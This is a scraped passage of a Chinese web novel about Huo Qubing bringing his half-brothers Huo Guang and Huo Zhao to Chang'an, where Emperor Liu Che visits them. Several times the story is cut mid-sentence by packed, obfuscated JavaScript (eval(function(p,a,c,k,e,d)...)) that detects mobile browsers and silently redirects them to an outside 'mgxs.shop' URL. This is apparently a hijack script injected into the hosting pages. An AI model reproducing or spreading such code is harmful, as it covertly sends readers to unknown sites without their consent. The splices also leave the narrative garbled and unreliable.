l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17002986|193876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,好不容易回到大汉就别说战场上的事情了。 有善谈的娘亲在,话题很快从战场变成日常。 霍光到家后才知道之前只见过一面的兄长也在,仓促间不好和爹娘说话,于是趁婢女撤食案的功夫拉着弟弟说悄悄话。 怎么回事怎么回事?阿兄来怎么没人通知他? 霍昭小小声回话,“阿兄回来的不晚,我们也刚回来没多久。” 俩孩子在旁边嘀嘀咕咕,霍仲孺再次恢复如坐针毡的状态。 吃饭之前没话说,吃饭的时候没话说,吃完饭了还是没话说。 冯夏已经不想说他什么了,人没来的时候拉着她絮叨了一下午,人到了又成了哑巴,还好俩孩子都不随爹,不然将来可怎么办哦,“天色不早了,家里有收拾好的房间,将军可愿在家里住上一夜?” “有劳您了。”霍去病也没推辞,这时候出城的话赶到军营天也黑了,不如直接在城里住下,而且他还有话要和这夫妻俩说,“大军不会在平阳多留,最多两日我就要离开,您二位可愿让阿光和阿昭随我去长安?” 卫家的人际关系有些复杂,母亲另外成家后他也不好经常去打扰。 既然霍家已经被捅到明面上来,索性就让两个弟弟光明正大的接受他的荫庇,免得有些人贼心不死还要挑事。 霍仲孺和冯夏都愣了一下,夫妻俩私下里悄悄猜过俩孩子能不能被惊才绝艳的异母兄长庇护,但是话也只敢在私下里说,说出来会显得他们贪心不足。 万万没想到骠骑将军会主动开口。 霍仲孺又惊又喜,连忙起身道谢,“将军愿意带他们去长安是他们的荣幸。” 他们夫妻俩都不傻,俩孩子留在平阳最多是衣食无忧,去长安就不一样了,运气好的话甚至能在卫家的帮助下当个正经的官。 愿意!他们当然愿意! 就算不当官,在长安生活也比留在平阳好的多。 舍不得有什么用?为了孩子的前途再舍不得也得忍着。 霍去病点点头,看看还没注意到他们在说什么的俩弟弟,又说道,“阿光和阿昭那里你们去说?” 霍仲孺连连点头,“将军放心,阿光和阿昭都很懂事,一定不会给您添乱。” 老父亲的反应那么大,旁边说悄悄话的兄弟俩终于意识到事情和他们俩有关。 随兄长去长安而已,霍昭对此早有准备,事情敲定后就缩到娘亲怀里享受最后的温存。 唉,孩子长大了总要离开爹娘的,问题不大,习惯就好。 再过几年他也能上阵杀敌,到时一定能再给老爹添一笔光辉的履历。 人要有志气,他身负大机缘更得目光长远。 大汉的将士很厉害,将来还能更厉害,他得想办法从系统仙人那里抠点好东西出来改善军中条件,争取让大汉的皇帝也成为天可汗。 他是有两条粗壮金大腿的弟弟,到现在为止,一条金大腿已经粗壮的不能再粗壮,另一条金大腿也开始走上权臣之路。 只要哥哥们足够努力,他马上就要变成属螃蟹的了。 爹娘不用担心,只要冠军哥别到京城就对他不管不问,应该没人敢欺负他。 真要有人看他不顺眼也没关系,他也不是不能打。 14.第 14 章 * 某些小孩儿看上去对离开爹娘出远门毫无反应,实际上已经在心里哭成了喷壶。 系统不打扰他们家宿主哭唧唧,只是在旁边碎碎念强调粗壮的金大腿不是两条是三条。 它会种地会养牛,勉强也能打个铁,虽然存在感不高,但也不能当它不存在。 【您不是金大腿,您是货真价实的小金人,是大汉唯一真神仙。】霍昭昭握拳高呼,【系统仙人最厉害!】 系统抖抖身上不存在的鸡皮疙瘩,【倒也不至于。】 【系统仙人,我有个问题。】霍昭眼泪汪汪,【明明我才是那个提前知道要去长安的,怎么我哥看上去比我还淡定?】 按理说应该是提前知道消息的他淡定的接受冠军哥的安排,什么都不知道的权臣哥惊慌失措抱着娘亲依依不舍,怎么感觉现在反过来了呢? 系统看看和娘亲腻歪的宿主,再看看沉着冷静听父兄叮嘱的宿主哥,沉默了好一会儿,到底还是没有开口刺激人。 大权臣在少年时期肯定也是非同寻常的少年,要不人家将来是大权臣呢。 死要面子的小家伙窝在娘亲怀里不说话,看上去表情严肃不耽误他缠着系统说个没完。 前些天说起“骠骑将军得胜归来路过平阳带走胞弟”的时候没什么感觉,好像说的是别人家的事情,真到了这一天才发现他好像还是个离不开爹娘的宝宝。 理智说去长安天地广阔,感情说留在爹娘身边更快乐,为什么不能两个都要啊? 系统有气无力的打断,【霍昭昭同学,希望你有点自知之明,不要自欺欺人。冷静点,以你的性子只要能吃饱在哪里都能很快乐。】 霍昭顿了一下,眼神飘忽,【……好像也是。】 这年头父母之命大过天,只要爹娘同意,孩子乖乖听安排就够了。 平阳离长安不算太远,想回来也不麻烦,霍仲孺和冯夏虽然舍不得孩子,但也没表现的跟生离死别似的。 霍去病知道他们有私密话要说,便没在会客厅多做停留,正好他也有别的事情要做。 霍仲孺亲自带路去准备好的客房,出来后抬头看看已经暗下去的天色,示意霍光跟他去书房,然后让霍昭回去睡觉。 阿昭太小,说多了他也听不懂,有些事情只叮嘱阿光就够了。 霍昭:??? 什么情况?瞧不起谁呢? 冯夏忍笑,揉揉小儿子的脑袋瓜,“你爹是怕你阿兄在长安城闯祸,我们阿昭向来懂事,不用叮嘱也乖的很。” 霍昭小声嘟囔,“才怪,感觉爹会悄悄和阿兄说让他看着我别让我闯祸。” 他和他哥站在一起,明显哥哥才是沉静的那个。 行吧,他去睡觉。 冠军哥说只会在平阳留两天,他还没和小伙伴们说,明天得早早起来去和小伙伴们告别,得睡饱了才有精力去应对脑子里充满奇思妙想的小伙伴。 小家伙拍拍兄长的手臂,一本正经的说道,“阿兄,听爹讲话要有耐心,如果爹说着说着开始掉眼泪千万不要嫌弃他。” 说完不等霍光和霍仲孺有反应撒腿就跑,根本不给他们留生气的时间。 霍仲孺摇头叹气,“长安城中权贵无数,阿昭这般顽皮,叫我如何放心得下?” “阿昭比你机灵多了,把心放回肚子里。”冯夏白了他一眼,然后对着霍光温声道,“骠骑将军的性子不像传闻中那般不好相处,到长安后遇到什么事情都可以和他说,他是你们的兄长,心里肯定是向着你们的。” 霍光认真点头,“阿娘放心,孩儿明白。” 霍仲孺还想去书房坐下来好好说,冯夏直接让大儿子也回去休息,然后把憋了满肚子话的老霍拽回卧房。 他们近二十年的夫妻,互相都是对方肚子里的蛔虫,老霍不说她也知道到书房后会絮叨些什么,无外乎到长安后要好好读书要谨慎行事不要给兄长惹麻烦之类的话。 她的儿子她清楚,都是机灵懂事的好孩子,还需要不懂事的爹特意叮嘱吗? 夫妻俩低声说这话回主院,霍光站在原地踟蹰了一会儿,然后拐去了弟弟的院子。 房间里,霍昭盘腿坐在地上,面前是他的宝贝大箱子,箱子里是他这辈子珍藏的各种玩具。 他要去长安闯荡了,走之前要给宝贝玩具找好下家,藏在箱子里落灰太可怜了,有人玩的玩具才是好玩具。 霍光看着满地的玩具,默默蹲下来听弟弟念叨这个送给谁那个送给谁,原本有些慌乱的心也慢慢平静了下来。 是了,他们俩只是跟着兄长去长安长见识,如果过的不开心还能回家,没什么好怕的。 霍昭分好玩具拍拍手站起来,“阿兄是不是要跟我睡?我就知道阿兄也会害怕,来吧来吧,我宽厚的肩膀可以给阿兄依靠。” 霍光抬手捂脸,“阿昭,你在外面真的不会挨打吗?” 霍昭得意的挺直腰杆,“阿兄放心,他们都打不过我。” 他可是灵活矫健武力超群的霍昭昭,和同龄人干仗从来没输过。 兄弟俩一边说闹一边洗漱,隔壁客房,霍去病写好手信让院中仆从帮他送去城外大营,在廊下静静站了一会儿,然后也早早洗漱休息。 次日一早,艳阳高照。 五月的阳光已经有些燥热,霍昭起床后便扛着和他差不多高的布兜出门了。 霍去病又想起来昨天看到的那一幕,没忍住直接问道,“家里可曾给阿昭安排武师傅?” 霍仲孺有点懵,“不曾,怎么了?” 他们家之前的条件请不起武师傅,臭小子喜欢出门玩,在学堂能耐得住性子读书已经让他稀奇不已,完全没想过要单独请人来教导。 这个回答在意料之中,霍去病又问道,“平阳城中可有游侠?” 霍仲孺吓了一跳,“没有没有,平阳是个祥和的地方,国相大人治理有方,没有游侠敢来这里作乱。” 侠以武犯禁,前些年天子将河内游侠郭解灭族,河东和河内挨边,自那之后河东也很少再有游侠出现。 天子不再容忍那些家伙在地方犯禁作乱,想当游侠也得掂量掂量自己的分量。 霍去病点点头,没再多问。 他昨晚已经让亲信去打探消息,只是时间太赶,他们在平阳也无甚根基,估计直到离开也打探不出什么有用的消息。 不着急,反正人都要跟他走了,早晚能找出臭小子的小秘密。 购置田宅的钱财已经给平阳侯相送去,霍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17006971|193876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仲孺的性子也守不住太多家财,家里一时半会儿也不需要再添置什么。 平阳富庶,在这里安心当个富家翁就够了。 另一边,霍昭以为昨天的事情已经过去了,完全没想过他们家冠军哥会把事情记在心里秋后算账。 小家伙找到小伙伴们忙碌了一上午,回到家就只剩下一个空布兜。 可喜可贺,他的朋友们没再说什么如果他在京城不开心骠骑将军会不会把他们全都喊去京城陪玩这种鬼话,不然他真的能一个揍一群。 长安城里什么都有,在骠骑将军的强调下,兄弟俩的行李并不多,并且当天下午就出城去了大营。 平阳侯相没有不合时宜的去霍家打扰,但是往军营送了十几辆装满酒肉瓜果的大车犒劳军中将士,胜利之师有资格享用任何犒赏,留在营中的将士对送来的酒肉照单全收。 亲兵们看到随他们家将军一起回来的兄弟俩毫不惊讶,汇报完正经事后就带两个小少年去营帐。 霍昭对军营很熟悉,不过大汉的军营还是第一次见。 上次在驿馆时看到的亲兵都是汉人面孔,没想到军营里还有许多外族模样的将士。 很好很好,更熟悉了。 系统仙人小课堂及时开讲,【霍去病麾下有大量匈奴降兵,深入大漠没有本地人带路肯定是不行的,他的作战简单来说就是“带兵去匈奴大杀特杀——招降匈奴兵——带着匈奴降兵在匈奴大杀特杀——招降更多匈奴兵——带着更多匈奴降兵到匈奴人的老家大杀特杀——封狼居胥”,差不多就是这样。】 用降兵有风险,不知道什么时候降兵就会复叛,所以一般没人敢重用降兵。 但是霍去病不一样,他敢招降就敢用,而且是前脚招降后脚立刻就用。 为什么霍去病在大漠从来不迷路?因为他麾下有一批足够可靠的匈奴将领。 【天子威服四夷,本来就该这样。大家都是一家人还分什么你我,只要归降那就都是自己人。】霍昭听的与有荣焉,【匈奴人也是人,尊崇强者是人的本能,只要足够厉害就算是外族也会死心塌地的追随。】 汉人能投靠匈奴,匈奴人自然也能为大汉效力,不能因为一颗老鼠屎坏了一锅粥,该用还是得用。 外族将士也不是生下来就只会烧杀抢掠,跟着谁能过好日子就跟谁,自家首领没本事那就换个老大,匈奴部落本来就松散,为了活命愿意归降也正常。 至于归降后如何让他们归心,那就得看受降将领的本事了。 很明显,他们家冠军哥就是值得匈奴人死心塌地追随的厉害人物。 营帐简陋,从平阳到长安也要不了几天,霍昭和霍光直接跟着霍去病住。 等霍去病处理好事情回来,满脑子可汗跳舞普天同庆汉胡一家亲的霍昭压下心中激动眨巴着眼睛问道,“阿兄,我们到京城后跟着你住吗?” 霍去病顿了一下,神色自若,“当然。” 糟糕,忘了在京城还没有宅子,母亲嫁人后他都是跟舅舅住。 他和舅舅关系好怎么着都行,但是关系再怎么亲密也不能带着异母弟弟们也住在舅舅家,这不合适。 没关系,大军回长安还要两三天,现在赶紧给陛下写封信应该来得及安排。 15.第 15 章 * 未央宫中,收到霍去病加急信件的刘彻畅快大笑,笑完之后还把信给旁边的近侍看,“朕说什么来着,当初给他准备宅子他不要,现在用得到了知道着急了,又火急火燎的让朕给他准备,朕看上去像是没脾气的人吗?” 说要就要说不要就不要,把府邸当什么了? 欠收拾! 近侍听得出天子的心情非常好,很有眼力见的上前说道,“骠骑将军毕竟年轻,衣食住行都有陛下为他操心,他自个儿难免会疏忽。” 刘彻转着手里的扳指,笑道,“得亏朕一直记着,不然看他回来后去哪儿落脚。” 臭小子之前说什么匈奴未灭何以为家拒绝他的赏赐,这次大军直接杀到了狼居胥山,他收到战报后立刻命人建造一座比先前更大更奢华的冠军侯府备着,想的就是那小子这次没理由再拒绝。 现在可好,非但不用他想法子劝,还得那臭小子着急忙慌主动来求。 啧啧啧,早知今日,何必当初? 不过话说回来,去病愿意带霍家那边的弟弟来长安倒是有些出乎他的意料。 那小子是他看着长大的,打小锦衣玉食混在勋贵之中,脾气倔起来连他这个皇帝的面子都不给,除非真心觉得霍家那边的弟弟值得培养,否则就是天王老子来了也别想让他将人带在身边。 别说什么霍仲孺腆着老脸求他提携兄弟,一来霍仲孺没那个胆子,二来他们冠军侯也不是耳根子软的人,他不想干的事情别人再怎么说都没用。 大军北上时没在平阳停留,回朝时也只留了不到两天,那么点儿时间够干什么? 臭小子在长安时和谁相处都端着,霍仲孺的两个儿子难不成比京中勋贵家倾心培养的年轻一辈更出色? 刘彻仔细回想绣衣使者传回来的消息,绣衣将霍仲孺这二十多年来的履历查的一清二楚,人际关系也捋的明明白白。 霍家就是大汉地界儿再寻常不过的家庭,如果不是忽然和他的冠军侯扯上关系,区区小吏没有任何特殊的地方值得关注。 霍仲孺能歹竹出好笋生出个霍去病已经是上天眷顾,他一根歹竹还想出几根好笋? ……算了,不想了,反正再过两三天就能见到人,他倒要看看什么样的天纵奇才值得他的冠军侯在信里夸赞。 不省心的臭小子,看他下次还敢不敢拒绝的那么干脆。 幸灾乐祸的皇帝陛下将信收好,然后让人将负责宫殿官署营建的将作大匠和都司空令都喊来,他要亲自去新建成的冠军侯府看看。 这些日子国库吃紧,但是该省省该花花,不能在他们的大功臣身上吝啬。 天子对冠军侯的看重有目共睹,冠军侯这一仗直接杀到了匈奴人的老家,战报传回长安朝野沸腾,也没人敢在冠军侯府的建造上偷工减料。 而心里没多少底的冠军侯生怕到京城后房宅还没着落,两天多的路程愣是让他拖延到足足五天。 问就是他弟年纪小身体柔弱要坐马车。 于是乎,俩弟弟就这么在一无所知的情况下背了锅。 万幸他们的皇帝陛下虽然幸灾乐祸但是足够可靠,富丽堂皇的冠军侯府安排的妥妥当当,就差主人回府认门了。 大军回京接受封赏,这种事情霍昭和霍光没法掺和,兄弟俩进城之后就被送到冠军侯府安顿,比宅邸真正的主人更早见到冠军侯府长什么样儿。 府上的婢女仆从是宫里安排的,迎接待客有条有理井然有序,再加上霍去病有意瞒着,兄弟俩完全没想过这座冠军侯府还没有真正迎来它的主人。 宅邸看上去跟全新的一样多正常,权贵家有那么多仆从,每个人打扫一小块地方也能让整座宅子都光鲜亮丽。 如果感觉有哪里不对劲那是他们小地方来的没见识,总之他们家冠军哥的大大大大大宅子没有任何问题。 兄弟俩都是第一次出这么远的门,到长安之后看什么都新鲜,尤其是霍昭,进城后看到什么都忍不住跟系统说。 他这辈子没离开过平阳城,上辈子也没离开过雁门关,但是他听过很多外面的故事,长安、洛阳、扬州、成都、太原各大城池的模样他都听过。 上辈子没见过没关系,这辈子见过就当补上了。 好高的城墙,好宽敞的街道,好阔气的府邸,系统仙人,孩子这算不算是出息了? 系统仙人不想说话,它怕它接话会让他们家宿主更兴奋,怕宿主兴奋过头要把他们的祥和宁静的“昭昭农场”也改造成长安城的样子。 农场就要有农场的样子,它是个古板的系统,不接受名为“农场”实为“堡寨”的争霸式种田。 哼。 系统不接话也不耽误霍昭对着他叭叭,来到冠军侯府后立刻有好几个婢女姐姐围着他们转,虽然他确实是个没见过世面的小土包子,但是他不想让人看出来他是个小土包子。 咳咳,他是个要面子的小孩儿。 和眼睛亮晶晶的小家伙相比,霍光的表现就沉静多了。 长安城很繁华,冠军侯府很高很大,这是他们之后很长一段时间要生活的地方,要比在家时更努力才对得起兄长给他们的机会。 霍去病入宫觐见需要很长时间,进城后怕俩弟弟在冠军侯府待的不自在还特意留了几个亲兵。 小家伙喜欢听战场上杀敌立功的故事,到军营里也不害怕,大的那个还时不时有点别的反应,就他自在的跟回家一样。 几天的相处足够让他摸清两个弟弟的脾性,大点儿的那个安安静静什么事情都藏在心里,聪明的好像能把所有人都看透,小点儿的那个则完全相反,活泼闹腾什么心思都藏不住,真诚的好像所有人都能把他看透。 可惜小傻蛋真诚归真诚,但还是把他的小秘密藏的死死的。 霍仲孺夫妻没有意识到小儿子的身手矫健的不同寻常,霍光也对弟弟的翻墙上树习以为常,好像对此感到惊奇的他才奇怪。 年轻的骠骑将军好奇心不重,可一旦引出他的好奇心那就必须得到满足,不然他睡梦里都不得安生。 真是错觉? 不确定,再看看。 大军回京,百官夹道相迎,来自天子的封赏也毫不吝啬。 此番作战兵分两路,大将军卫青西出定襄追击伊稚斜单于也是捷报频传,只是现在还没有回来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17012941|193876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 大汉和匈奴交战几十年,这次是马邑之谋失败后动员最多的战事,说是举全国之力作战也不为过,所有人都不敢想万一失败大汉会滑落到怎样的深渊。 万幸出塞的将士们没有让那种可能成真,虽然这一战大汉的损失也很多,但是匈奴在漠南的主力彻底被击溃。 漠南的匈奴被大汉兵马荡涤,伊稚斜单于带着残余兵马逃亡漠北,大汉占领了朔方以西至张掖、居延间的大片土地,之后至少十年的时间匈奴都别想再南下。 刘彻是个大方的皇帝,此等功勋前无古人,阵亡的将士朝廷会尽力抚恤,活着回来的将士更要应赏尽赏。 可惜这种场合不好说悄悄话,他真的很想看他冷傲的冠军侯脸红起来是什么样儿。 霍去病察觉到来自天子的目光,假装什么都没有注意到,领完封赏二话不说就跟着带路的小黄门回他的冠军侯府。 战事细节和军功统计在回程的路上已经送到京城,也就是说,在大军抵达京城之前他们的封赏就已经定了下来。 为属下报功是他的事情,领赏是属下自己的事情,该他忙活的事情他已经处理完了,有什么事情等他把家里安顿好再说。 刘彻心情大好,没看到臭小子脸红很遗憾,能看到他着急忙慌往外躲也不是一无所获。 刚才的动静他看的一清二楚,还有前几天送来的急信,等仲卿回来一定要好好分享。 “霍家那俩小子已经到冠军侯府了?” 近侍知道他们陛下对冠军侯的关注,一大早就让人盯着冠军侯府的情况,“回陛下,两位小郎君进城后便被接去了冠军侯府,这会儿宜春侯也在冠军侯府。” 刘彻挑了挑眉,“有意思,走,我们也去凑凑热闹。” 宜春侯卫伉,大将军卫青的长子,骠骑将军霍去病的表弟,可以说是跟在霍去病屁股后面长大的小孩儿。 卫青从卫家分出来住后霍去病一直跟着他住,表兄弟之间跟亲兄弟也没差哪儿去。 感情好的跟亲兄弟一样的表兄弟和天上掉下来的亲兄弟,这凑到一块儿得打起来吧? 走走走,正事儿已经忙完,趁天色还早赶紧过去看热闹,等天黑就不好出宫了。 近侍欲言又止,他想说宜春侯这时候上门未必是为了找麻烦,就算是找麻烦,霍家那两位小郎君初来乍到肯定也是能忍就忍,怎么想也不至于到打起来的地步。 但是他们陛下想出宫从来没人拦得住,他们听命行事就够了。 另一边,霍去病得知表弟也在府上时又加快了脚步。 倒不是担心两边的弟弟会打起来,就是想看看陛下给他准备的冠军侯府长什么样。 卫伉不是爱找麻烦的人,霍光更不像是会和人起冲突的,小的那个就更不用说了,俩大的都起不了冲突他能干什么? 没有冲突,肯定不会起冲突,就算是初次见面,有个能说会道的小家伙在也能很快玩到一起。 然后,快马回来的冠军侯就听到小的那个一本正经对他从来没去过军营的表弟说,“军营也有能放松的地方,阿兄他们蹴鞠不带我玩儿,不过我会教他们扭秧歌,扭秧歌可好玩了。” 16.第 16 章 * 两三天的路程硬生生拖到五天,代价就是路上要找各种各样的理由拖延时间。 清晨起来练会儿兵,傍晚时早早找地方安营扎寨,趁天还没黑找块空地蹴鞠,玩累了第二天便合情合理的减缓行进速度。 得胜归来和出发去打仗不一样,回程不需要那么着急。 军中多是莽汉,蹴鞠玩起来也有些危险,别说霍昭,就连霍光都不被允许和他们一起玩。 只是霍光愿意在营帐里看书,而霍昭在军营里完全坐不住,大部队玩蹴鞠不带他他就自己找乐子。 反正都是集体活动,扭秧歌和蹴鞠一样利于弟兄们增进感情。 而且秧歌还不像蹴鞠那么危险,不像蹴鞠那么挑场地,又简单又好学,随便哪个帐篷外面都能跳,跳起来还足够热闹喜庆,更能看出他们是胜利之师。 总结:扭秧歌和军营更般配。 他已经教会了好几个学生,可惜这次在军营待的时间太短,再给他半个月的时间他能悄咪咪教出一支秧歌队和冠军哥的蹴鞠队打擂台。 天空一声巨响,秧歌队闪亮登场,到时一定能惊呆那些偏爱蹴鞠的家伙们。 冠军侯不在府上,小家伙谈到路上忙活的壮举根本停不下来,说到兴处甚至当场要给他们家冠军哥的表弟舞上一段。 就算不在军营,在家扭秧歌也能强身健体,信他没错。 卫伉:哇。 他来冠军侯府并不是为了找麻烦,就是单纯好奇表兄带回来的两个弟弟。 他爹出征还没回来,在家闲着也是闲着,正好到表兄家里串串门。 以前他们表兄弟住在一起,现在表兄有了亲弟弟,他得摸摸亲弟弟的脾性再决定以后要不要带着家里的俩弟弟过来蹭住。 年方十五的宜春侯来之前有点担心和霍家的两个弟弟处不来,毕竟抛开他们家表兄的话他们完全扯不上关系,成长环境也相差甚大,要是俩弟弟见到他后连话都不敢说那他想主动示好也没办法。 然而到了冠军侯府才发现,他想多了。 卫伉惊奇的看着小家伙卖力的扭腰摆臂,热情好像会传染,要不是他捏紧拳头忍着,这会儿可能已经跟在后面学了。 霍光有点不好意思,但也没有拦着弟弟蹦蹦跳跳,只是跟着在旁边解释道,“阿昭以前经常去乡下玩,丰收的时候村子里便会这么庆祝,他脑袋瓜聪明学的快,看了几次就学会了。” 村子里庆祝丰收热闹的很,臭小子学完人家的歌舞还会编新动作,编完后就交给村子里的小孩儿让小孩子们和他一起扭。 这次路上闲着没事儿,可能是看到将士们蹴鞠很热闹想起了以前去村子里玩闹的场面,于是又顺带着把不明所以的士兵们也给带跑了。 习惯就好,习惯就好。 卫伉压低声音,“表兄也学了吗?” “阿兄不知道。”霍光眼神飘忽,“阿昭说要给阿兄留个惊喜,人多力量大,到时大家整整齐齐的扭给阿兄看,一定能让阿兄放弃蹴鞠跟他一起扭。” 他感觉这是异想天开,但是弟弟坚信秧歌比蹴鞠更适合军营他也没办法。 卫伉干巴巴的回道,“好有志气的阿昭。” 将士们整整齐齐扭秧歌的场面他能想象出来,但是如果领头的是他们家表兄…… 嘶,什么可怕的场面,快离开他的脑子。 霍昭昭手里没有工具也扭的开心,系统在识海空间里变出红绸布扭的也非常开心。 没错没错,扭秧歌最适合种田老农了,不愧是他一眼就选中的宿主,他们俩简直是天生一对。 而院子门口,挥退仆从的骠骑将军深吸一口气,看着院子里蹦跶的满头大汗的臭弟弟,纠结了好一会儿还是没能迈动腿。 不太想进,真的不太想进。 臭小子趁他蹴鞠的时候在军营里教士兵扭来扭去? 为什么没人告诉他? 凑巧跟着小家伙学过几下的亲兵感觉他们家将军的表情不太对,小心翼翼的问道,“将军,不能学吗?” 跟着扭几下怎么了?他们都以为是哄小孩儿呢。 而且扭来扭去真的很有意思。 霍去病欲言又止,“……没事,能学。” 只要别让他学,臭小子天天扭都没关系。 恰在此时,当今天子溜达着找过来。 刘彻看到站在门口的几人挑了挑眉,“怎么在这儿站着?” 霍去病脸色一变,不知道想到了什么,赶紧恢复如常上前行礼,“陛下。” 刘彻摆摆手示意不必多礼,同时脚步不停,“你从平阳带回来的俩小子呢?在院子里?” “都在。”霍去病快一步进去,朗声喊道,“阿光阿昭,还有阿伉,过来见过陛下。” 院子里的三个小少年都愣了一下,卫伉经常见到天子,看到天子出现在冠军侯府也不意外,只有从来没见过天子的霍家兄弟俩反应过来后就开始紧张。 霍昭手忙脚乱的擦擦额头上累出来的汗,老老实实跟在他哥身边,看他哥干啥他就干啥。 【系统仙人!是皇帝!是汉武帝!】小家伙在心里尖叫,【我连大唐的皇帝都没见过,竟然先一步见到了大汉的皇帝!】 系统扭过瘾了也停下动作,收回它的红绸布,用播音腔播报他们家宿主的心情,【感谢科学,感谢组织,感谢系统,感谢霍昭昭的爹,感谢霍昭昭的冠军哥,没有你们就没有霍昭昭的今天。好!(大喊)(鼓掌)】 霍昭不知道他们家系统仙人在模仿致谢名场面,他只觉得系统仙人生动形象的表达出了他的心情。 汉武帝!活生生的汉武帝! 他什么时候有机会见到活生生的太宗皇帝啊? 紧张.jpg 霍家兄弟俩初来乍到就面见天子,虽然只是私下里的见面,但是对俩小地方来的小少年而言也是很可怕的事情。 比霍光年长几岁的卫伉主动担起示范的重任,别怕,跟他学就完事儿了。 三个小少年快步走到皇帝陛下跟前规规矩矩行礼,一个接一个看的刘彻忍俊不禁,“起来吧,朕就是出来随便走走,在自己家不必见外。” 别人见不见外不清楚,反正他从来不见外。 这处院子不是主院,霍去病是第一次进他的府邸,但府邸的布局都大差不差,哪里是主院他还是分得清的,“外面不是说话的地方,陛下先进屋吧。” 别吓着他俩弟弟。 刘彻意味深长的看了眼状似不在意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17016067|193876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将最小的那个挡在身后的冠军侯,率先朝主院走,“放心,朕对你这冠军侯府比你熟。” 刚进来的时候就感觉这小子的反应不太对劲,几个小孩儿在院子里干什么了不能让他看? 皇帝陛下有问题从来不会忍着,走了两步直接把缀在最后面的小家伙提溜到跟前,“朕没有记错的话,你是叫霍昭?” 霍昭乖乖点头,“是的,陛下。” 系统在识海空间里小声嘟囔,【切,废话文学。】 以刘彻对霍去病的在意,估计霍去病路过河东之前就知道他爹是平阳小吏霍某某,只是没有刻意去查罢了。 霍去病不在意,卫少儿不在意,母子俩都不在意的情况下孩子他爹是谁并不重要。 后来事情被河东太守那个蠢货给捅出来,这下不想知道也得知道,天子消息那么灵通会不知道他们家宿主叫什么名字? 哼,就会吓唬小孩儿。 系统一边吐槽一边关注他们家宿主的反应,有点担心从来没见过皇帝的宿主会被不按常理出牌的汉武帝吓到。 旁边的霍光更是胆战心惊,生怕弟弟不小心触怒天子。 卫伉拍拍他的肩膀让他不用担心,陛下这些天心情很好,不会在冠军侯府对冠军侯带回来的弟弟怎么样。 霍去病倒是不怕天子对臭弟弟做什么,虽然他们家陛下小心眼爱记仇,但是还不至于和小孩儿过不去,他怕的是臭弟弟当着天子的面扭秧歌。 然而怕什么来什么,还没等他想办法转移话题,天子就已经从小孩儿嘴里将他那“教全军扭秧歌”的远大梦想问了个底儿朝天。 不要、不要啊…… 让匈奴降兵在陛下面前比划几下走个过场就够了,不需要全军齐上阵。 那是他们最最最最精锐的大军,不能用到奇奇怪怪的场合! 可惜大军是天子的大军,天子说什么就是什么。 “听起来确实不错,比蹴鞠安全多了。”很喜欢整齐壮观大场面的皇帝陛下给小家伙的梦想点了个赞,然后似笑非笑的看向满脸都写着拒绝的冠军侯,“秧歌是从民间劳作演化而来,让将士们学这个也算是不忘根本,回头阅兵的时候可以试试。去病,你觉得怎么样?” 霍去病艰难的扯扯嘴角,“陛下说什么就是什么。” 刘彻得寸进尺,“那朕的骠骑将军可愿领队?” 霍去病:…… 说实话,不太乐意。 系统要笑死了,【你哥肯定不乐意,他在外面怎么冷酷怎么来,好像中二期还没过,让他扭秧歌太难为他了哈哈哈哈哈哈哈哈。】 刘彻欣赏完冠军侯敢怒不敢言的表情,这才挥挥手让三个小的出去玩。 他出宫不光是为了看热闹,特意到这里来也有正事,“你舅舅那里传来急报,他派人去询问李广、赵食其迷路失期的情况,然而李广不知道怎么想的,竟在军中刎颈自尽。” 霍去病皱紧眉头,“老将军迷路失期又不是第一次,回京问罪也顶多是废为庶人,何至于此?” 刘彻刚想说李广这是对卫青有怨气,消息传到李家后可能整个李家可能都会对卫青有怨气,听到这话又有点庆幸没让霍去病和李广共事。 这也太会戳心窝子了。 17.第 17 章 * 大漠之中方向难辨,将领迷路是常有的事。 朝廷自高祖至今养精蓄锐近百年,对大汉的将士们来说难的不是和匈奴人拼杀,而是如何在茫茫大漠中找到匈奴的主力。 李广是威震边陲的名将不假,但守城和主动出击完全不一样,再大的名气也经不起每次出战都有意外出现。 这次举全国之力出击匈奴刘彻本来没打算让李广去,说实话,比起父祖留下的老将,他更倾向于用卫青霍去病这些更年轻和他更亲近的将领。 十几年前马邑的部署竹篮打水一场空让他对老将彻底失去了信心,直到现在他都想不明白那时候为什么能让匈奴主力在离他们只有百里的情况下全身而退。 这合理吗?这正常吗? 如果当时领兵的是卫青,就算匈奴大军紧急撤退也绝对别想全须全尾的回。 